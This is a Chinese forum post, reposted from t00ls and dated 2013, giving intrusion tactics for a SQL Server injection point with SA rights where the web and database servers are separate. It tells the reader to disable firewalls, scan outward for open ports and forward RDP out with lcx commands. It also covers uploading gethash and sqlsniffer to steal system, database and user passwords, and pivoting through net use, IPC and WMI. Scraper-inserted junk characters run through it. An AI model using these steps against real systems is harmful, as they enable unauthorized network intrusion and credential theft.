当你碰到SA的注入点，可以执行命令，但是web与数据库分离，你都会怎么做呢，当数据库不服务器不能连接外网的时候，是不是只想着从web搞呢，这篇文章从t00ls转载过来，希望对大家sa权限的注入点数据库web分离提供一些渗透思路。
- j# X, P) Y( x
; C4 S2 T. }' x; F5 y# j; o2 J$ ~
4 n& l% s1 R, }7 O3 ~! T7 b' vSA点,system权限,可执行命令,web和db分离.DB机器不上网(一般指中马不上线,lcx反弹不出)" t! O9 I$ F! e" V" o/ w
/ D6 L' P* C. ~1 {2 k: Q, A
% c/ Y3 |3 z2 [' K+ L3 `一、DB机有公网IP.
3 K2 |& p0 |5 \7 ]! Z8 x/ H1 `9 b' q; A' G# Y9 R" W* h) a
1:执行命令把系统防火墙和ip策略停止,netstat -an找到3389端口尝试连接. Y( \$ l* u V, X0 Q h. k
7 m# X) X5 |2 v, q3 R
( K/ D, D& P& M, }* e' t' m2:从内往外扫描.把命令行下的s扫描器转成vbs传上DB机器生成exe扫描外网一台做了端口策略的机器.这台外网机器开放所有端口.(可以到网上找这 样的 机器.) 如果扫描结果有开放端口,证明在这台DB机可以把3389转到外面机器.比如扫到80 那就lcx -slave ip 80 127.0.0.1 3389.
2 E4 ?) |1 o( N
+ c6 v8 Y* U8 Q+ G! `6 e2 Y l: V2 ]6 K% {
3:尽量多拿密码.用vbs的方法上传gethash,sqlsniffer类的工具.拿到系统和mssql的密 码,数据库表的后台管理员密码,member表的最前几个用户密码.这些密码可以用来测试web后台,web的3389 ftp等.当然事先要对web机器完整扫描一遍. www.2cto.com# [0 f! |6 D n! C; h) `* B- Q
8 e2 W$ [$ n* {& g9 ?
3 p8 ^8 v, v! R- w' U" q2 W6 E4,nmap扫描.用nmap扫描web和db机器的1-65535端口.如果发现db机器显示有closed的端口.那恭喜你,你可以lcx -tran 把3389转发到该端口直接登陆.firewalk也有类似功能.但对代理防火墙无用., `: k8 e, w- x6 l: R! V- X
5 q1 e5 [. `" {- L( Y
d" ]8 X- b1 b* T M, \
* s4 ^ m8 y0 q9 e二、DB机只有内网IP# r$ i5 v* f' t8 ?8 S( P
0 f0 d. M0 w$ x t# ^0 Q9 E
1:尽量多拿密码来net use到web机器.这个过程需要极大的耐心 , 拿密码尝试登陆web后台等.. E6 z0 C1 a2 u
% s7 f% G0 U ^- q L* N
- I3 ~* b2 c- d7 ~7 G. [# [2:停掉防火墙和IP策略再从内往外扫描.- \0 a1 h: W) J+ g5 s, h+ i
8 e% p4 o9 ]2 p' I6 ]& K
3 Z& l# ~2 D/ n6 m, m( H
3: ipconfig /dispalydns如果发现有公网的域名,极大可能是路由做了手脚.机会还是有的.2 N5 _3 @5 D5 j: @
0 x7 a! S5 ^! i, @2 V0 z4 k5 @# Z0 ?) i! |: Y) P
4:学会密码规律分析往往会有惊喜.8 I& X% b) D% D j' B' P
) n2 f0 w$ m) Z' {& D! z1 t( i6 l7 L) T! \; X, p! F2 @9 T
5,在sa点里执行命令渗透内网,找可上网的机器.isql,ipc共享,wmi等( q e5 u8 B& ]) H
2 R3 g8 k3 R( ?8 v" o" {' `/ ^# F- t
有些地区或国家会禁止别的国家连接一些端口,所以拥有目标国代理或VPN是很重要的 |
发表于 2013-2-16 21:46:01
收藏
支持
反对